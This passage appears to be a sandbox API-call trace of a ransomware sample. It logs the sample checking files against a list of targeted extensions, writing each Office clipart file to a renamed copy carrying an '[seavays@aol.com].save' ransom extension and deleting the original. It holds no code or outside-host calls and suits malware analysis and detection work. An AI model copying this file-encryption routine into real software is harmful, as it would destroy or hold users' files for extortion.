(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0178.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0178.545] lstrlenW (lpString=".doc") returned 4 [0178.545] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.545] lstrlenW (lpString=".docx") returned 5 [0178.545] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0178.545] lstrlenW (lpString=".pdf") returned 4 [0178.546] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.546] lstrlenW (lpString=".xls") returned 4 [0178.546] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.546] lstrlenW (lpString=".xlsx") returned 5 [0178.546] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0178.546] lstrlenW (lpString=".ppt") returned 4 [0178.546] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0178.546] lstrlenW (lpString=".zip") returned 4 [0178.546] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.546] lstrlenW (lpString=".rar") returned 4 [0178.546] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.546] lstrlenW (lpString=".bz2") returned 4 [0178.546] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.546] lstrlenW (lpString=".7z") returned 3 [0178.546] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0178.546] lstrlenW (lpString=".dbf") returned 4 [0178.546] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0178.546] lstrlenW (lpString=".1cd") returned 4 [0178.546] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0178.547] lstrlenW (lpString=".jpg") returned 4 [0178.547] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.547] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0178.547] lstrlenW (lpString="J0151041.WMF") returned 12 [0178.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0178.552] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=4356) returned 1 [0178.552] CloseHandle (hObject=0x344) returned 1 [0178.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 0x220 [0178.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0178.554] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.554] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0178.555] GetLastError () returned 0x0 [0178.556] ReadFile (in: hFile=0x344, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1104, lpOverlapped=0x0) returned 1 [0178.558] WriteFile (in: hFile=0x534, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1110, lpOverlapped=0x0) returned 1 [0178.559] ReadFile (in: hFile=0x344, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.559] WriteFile (in: hFile=0x534, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.559] SetEndOfFile (hFile=0x534) returned 1 [0178.560] CloseHandle (hObject=0x534) returned 1 [0178.560] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.560] SetEndOfFile (hFile=0x344) returned 1 [0179.917] CloseHandle (hObject=0x344) returned 1 [0179.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0179.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 1 [0179.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0179.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0179.920] lstrlenW (lpString=".doc") returned 4 [0179.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.920] lstrlenW (lpString=".docx") returned 5 [0179.920] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0179.920] lstrlenW (lpString=".pdf") returned 4 [0179.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.920] lstrlenW (lpString=".xls") returned 4 [0179.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.920] lstrlenW (lpString=".xlsx") returned 5 [0179.920] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0179.920] lstrlenW (lpString=".ppt") returned 4 [0179.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0179.920] lstrlenW (lpString=".zip") returned 4 [0179.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.920] lstrlenW (lpString=".rar") returned 4 [0179.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.920] lstrlenW (lpString=".bz2") returned 4 [0179.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.920] lstrlenW (lpString=".7z") returned 3 [0179.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0179.920] lstrlenW (lpString=".dbf") returned 4 [0179.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0179.921] lstrlenW (lpString=".1cd") returned 4 [0179.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0179.921] lstrlenW (lpString=".jpg") returned 4 [0179.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0179.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0179.921] lstrlenW (lpString=".doc") returned 4 [0179.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.921] lstrlenW (lpString=".docx") returned 5 [0179.921] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0179.921] lstrlenW (lpString=".pdf") returned 4 [0179.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.921] lstrlenW (lpString=".xls") returned 4 [0179.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.922] lstrlenW (lpString=".xlsx") returned 5 [0179.922] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0179.922] lstrlenW (lpString=".ppt") returned 4 [0179.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0179.922] lstrlenW (lpString=".zip") returned 4 [0179.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.922] lstrlenW (lpString=".rar") returned 4 [0179.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.922] lstrlenW (lpString=".bz2") returned 4 [0179.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.922] lstrlenW (lpString=".7z") returned 3 [0179.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0179.922] lstrlenW (lpString=".dbf") returned 4 [0179.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0179.922] lstrlenW (lpString=".1cd") returned 4 [0179.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0179.922] lstrlenW (lpString=".jpg") returned 4 [0179.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.923] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0179.923] lstrlenW (lpString="J0151067.WMF") returned 12 [0179.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0179.924] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=13204) returned 1 [0179.924] CloseHandle (hObject=0x344) returned 1 [0179.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 0x220 [0179.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0179.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0179.925] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.925] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0179.927] GetLastError () returned 0x0 [0179.927] ReadFile (in: hFile=0x344, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x3394, lpOverlapped=0x0) returned 1 [0179.931] WriteFile (in: hFile=0x2a8, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x33a0, lpOverlapped=0x0) returned 1 [0179.932] ReadFile (in: hFile=0x344, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.932] WriteFile (in: hFile=0x2a8, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.933] SetEndOfFile (hFile=0x2a8) returned 1 [0179.933] CloseHandle (hObject=0x2a8) returned 1 [0179.933] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.933] SetEndOfFile (hFile=0x344) returned 1 [0179.937] CloseHandle (hObject=0x344) returned 1 [0179.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0179.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 1 [0179.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0179.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0179.939] lstrlenW (lpString=".doc") returned 4 [0179.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.939] lstrlenW (lpString=".docx") returned 5 [0179.939] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0179.939] lstrlenW (lpString=".pdf") returned 4 [0179.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.940] lstrlenW (lpString=".xls") returned 4 [0179.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.940] lstrlenW (lpString=".xlsx") returned 5 [0179.940] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0179.940] lstrlenW (lpString=".ppt") returned 4 [0179.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0179.940] lstrlenW (lpString=".zip") returned 4 [0179.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.940] lstrlenW (lpString=".rar") returned 4 [0179.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.940] lstrlenW (lpString=".bz2") returned 4 [0179.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.940] lstrlenW (lpString=".7z") returned 3 [0179.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0179.940] lstrlenW (lpString=".dbf") returned 4 [0179.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0179.941] lstrlenW (lpString=".1cd") returned 4 [0179.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0179.941] lstrlenW (lpString=".jpg") returned 4 [0179.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0179.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0179.941] lstrlenW (lpString=".doc") returned 4 [0179.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.941] lstrlenW (lpString=".docx") returned 5 [0179.941] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0179.941] lstrlenW (lpString=".pdf") returned 4 [0179.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.941] lstrlenW (lpString=".xls") returned 4 [0179.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.941] lstrlenW (lpString=".xlsx") returned 5 [0179.941] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0179.941] lstrlenW (lpString=".ppt") returned 4 [0179.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0179.941] lstrlenW (lpString=".zip") returned 4 [0179.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.942] lstrlenW (lpString=".rar") returned 4 [0179.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.942] lstrlenW (lpString=".bz2") returned 4 [0179.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.942] lstrlenW (lpString=".7z") returned 3 [0179.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0179.942] lstrlenW (lpString=".dbf") returned 4 [0179.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0179.942] lstrlenW (lpString=".1cd") returned 4 [0179.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0179.942] lstrlenW (lpString=".jpg") returned 4 [0179.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.942] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0179.943] lstrlenW (lpString="J0151073.WMF") returned 12 [0179.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0179.944] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=13336) returned 1 [0179.944] CloseHandle (hObject=0x344) returned 1 [0179.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 0x220 [0179.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0179.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0179.946] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.946] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0179.947] GetLastError () returned 0x0 [0179.947] ReadFile (in: hFile=0x344, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x3418, lpOverlapped=0x0) returned 1 [0179.950] WriteFile (in: hFile=0x2a8, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3420, lpOverlapped=0x0) returned 1 [0179.952] ReadFile (in: hFile=0x344, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.952] WriteFile (in: hFile=0x2a8, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.952] SetEndOfFile (hFile=0x2a8) returned 1 [0179.953] CloseHandle (hObject=0x2a8) returned 1 [0179.953] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.953] SetEndOfFile (hFile=0x344) returned 1 [0180.073] CloseHandle (hObject=0x344) returned 1 [0180.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0180.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 1 [0180.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0180.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0180.503] lstrlenW (lpString=".doc") returned 4 [0180.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.503] lstrlenW (lpString=".docx") returned 5 [0180.503] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0180.503] lstrlenW (lpString=".pdf") returned 4 [0180.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.503] lstrlenW (lpString=".xls") returned 4 [0180.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.503] lstrlenW (lpString=".xlsx") returned 5 [0180.503] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0180.503] lstrlenW (lpString=".ppt") returned 4 [0180.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0180.503] lstrlenW (lpString=".zip") returned 4 [0180.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.503] lstrlenW (lpString=".rar") returned 4 [0180.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.503] lstrlenW (lpString=".bz2") returned 4 [0180.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.503] lstrlenW (lpString=".7z") returned 3 [0180.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0180.504] lstrlenW (lpString=".dbf") returned 4 [0180.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0180.504] lstrlenW (lpString=".1cd") returned 4 [0180.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0180.504] lstrlenW (lpString=".jpg") returned 4 [0180.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0180.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0180.504] lstrlenW (lpString=".doc") returned 4 [0180.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.504] lstrlenW (lpString=".docx") returned 5 [0180.504] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0180.504] lstrlenW (lpString=".pdf") returned 4 [0180.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.505] lstrlenW (lpString=".xls") returned 4 [0180.505] lstrcmpiW (lpString1=".xls", 